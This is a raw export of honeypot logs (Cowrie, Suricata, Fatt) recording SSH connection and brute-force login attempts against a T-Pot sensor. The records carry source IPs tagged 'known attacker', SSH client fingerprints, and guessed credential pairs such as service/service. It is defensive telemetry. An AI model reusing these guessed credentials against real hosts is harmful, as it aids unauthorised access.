"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23393	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:35.105717+03	2021-09-20 14:15:07.449471+03	{"_id": "pQbjAnwBvYTbRNuEzAz5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 695329090856938, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42022, "dest_port": 22, "timestamp": "2021-09-20T11:07:35.105717Z", "@timestamp": "2021-09-20T11:07:35.105Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23394	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:07:35.255311+03	2021-09-20 14:15:07.450471+03	{"_id": "pgbjAnwBvYTbRNuEzAz5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1968769714131868, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 30558, "dest_port": 22, "timestamp": "2021-09-20T11:07:35.255311Z", "@timestamp": "2021-09-20T11:07:35.255Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23395	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:35.504278+03	2021-09-20 14:15:07.451471+03	{"_id": "swbjAnwBvYTbRNuEzgxz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9dc1a62066aa", "@version": "1", "duration": 2.8356897830963135, "timestamp": "2021-09-20T11:07:35.504278Z", "@timestamp": "2021-09-20T11:07:35.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23396	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:35.65804+03	2021-09-20 14:15:07.45247+03	{"_id": "yAbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7104 (192.168.176.2:22) [session: b5fcfd69d841]", "session": "b5fcfd69d841", "@version": "1", "protocol": "ssh", "src_port": 7104, "dest_port": 22, "timestamp": "2021-09-20T11:07:35.658040Z", "@timestamp": "2021-09-20T11:07:35.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23397	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:35.078719+03	2021-09-20 14:15:07.453471+03	{"_id": "wwbjAnwBvYTbRNuEzgx1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54152, "dest_port": 22, "timestamp": "2021-09-20T11:07:35.078719", "@timestamp": "2021-09-20T11:07:35.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23398	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.263516+03	2021-09-20 14:15:07.45547+03	{"_id": "ywbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7384 (192.168.176.2:22) [session: cbb6f111acc1]", "session": "cbb6f111acc1", "@version": "1", "protocol": "ssh", "src_port": 7384, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.263516Z", "@timestamp": "2021-09-20T11:07:36.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23399	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:35.114743+03	2021-09-20 14:15:07.456471+03	{"_id": "xQbjAnwBvYTbRNuEzgx1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42022, "dest_port": 22, "timestamp": "2021-09-20T11:07:35.114743", "@timestamp": "2021-09-20T11:07:35.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23400	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:35.498977+03	2021-09-20 14:15:07.45847+03	{"_id": "xwbjAnwBvYTbRNuEzgx1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [service/service] failed", "session": "dedbc5d5098d", "@version": "1", "password": "service", "username": "service", "timestamp": "2021-09-20T11:07:35.498977Z", "@timestamp": "2021-09-20T11:07:35.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23401	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.394389+03	2021-09-20 14:15:07.45947+03	{"_id": "IgbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:47164 (192.168.176.2:22) [session: d4cecbe6cd54]", "session": "d4cecbe6cd54", "@version": "1", "protocol": "ssh", "src_port": 47164, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.394389Z", "@timestamp": "2021-09-20T11:07:36.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23761	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:49.799795+03	2021-09-20 14:15:07.92447+03	{"_id": "nQbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [phil/phil] failed", "session": "1bc1f00280b9", "@version": "1", "password": "phil", "username": "phil", "timestamp": "2021-09-20T11:07:49.799795Z", "@timestamp": "2021-09-20T11:07:49.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23402	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:35.933188+03	2021-09-20 14:15:07.460471+03	{"_id": "LAbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7104, "dest_port": 22, "timestamp": "2021-09-20T11:07:35.933188", "@timestamp": "2021-09-20T11:07:35.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23403	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:36.123401+03	2021-09-20 14:15:07.461471+03	{"_id": "LQbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": 